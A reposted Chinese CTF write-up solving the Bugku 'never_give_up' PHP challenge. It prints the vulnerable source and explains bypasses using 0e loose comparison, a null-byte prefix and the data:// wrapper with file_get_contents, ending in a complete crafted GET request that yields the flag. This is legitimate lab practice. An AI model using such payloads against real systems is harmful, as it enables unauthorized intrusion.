欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 新车 > never_give_up

never_give_up

2025/8/11 6:41:22 来源:https://blog.csdn.net/qq_55269856/article/details/146211936  浏览:    关键词:never_give_up

一个很有意思的题:
never_give_up - Bugku CTF平台

注意到注释里面有1p.html,我们直接在源代码界面看,这样就不会跳转到它那个链接的:

然后解码可得:

";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}$id=$_GET['id'];$a=$_GET['a'];$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}?>

实际上就是这三个条件,

  1. id=0e123即可,php读入直接会是0
  2. b这里要求长度大于5,第一个不能是4,但是又要和1114匹配,这里直接用字符就可以绕过b=%0011111
  3. a这里要使用file_get_contents的漏洞,可以使用php://input和data://text/plain,但是我的bp版本高好像php://input没用了,所以这里用后者代替把字符串输进去

GET /hello.php?id=0e123456&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=%0011111 HTTP/1.1

在burp加上这么一句即可:

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词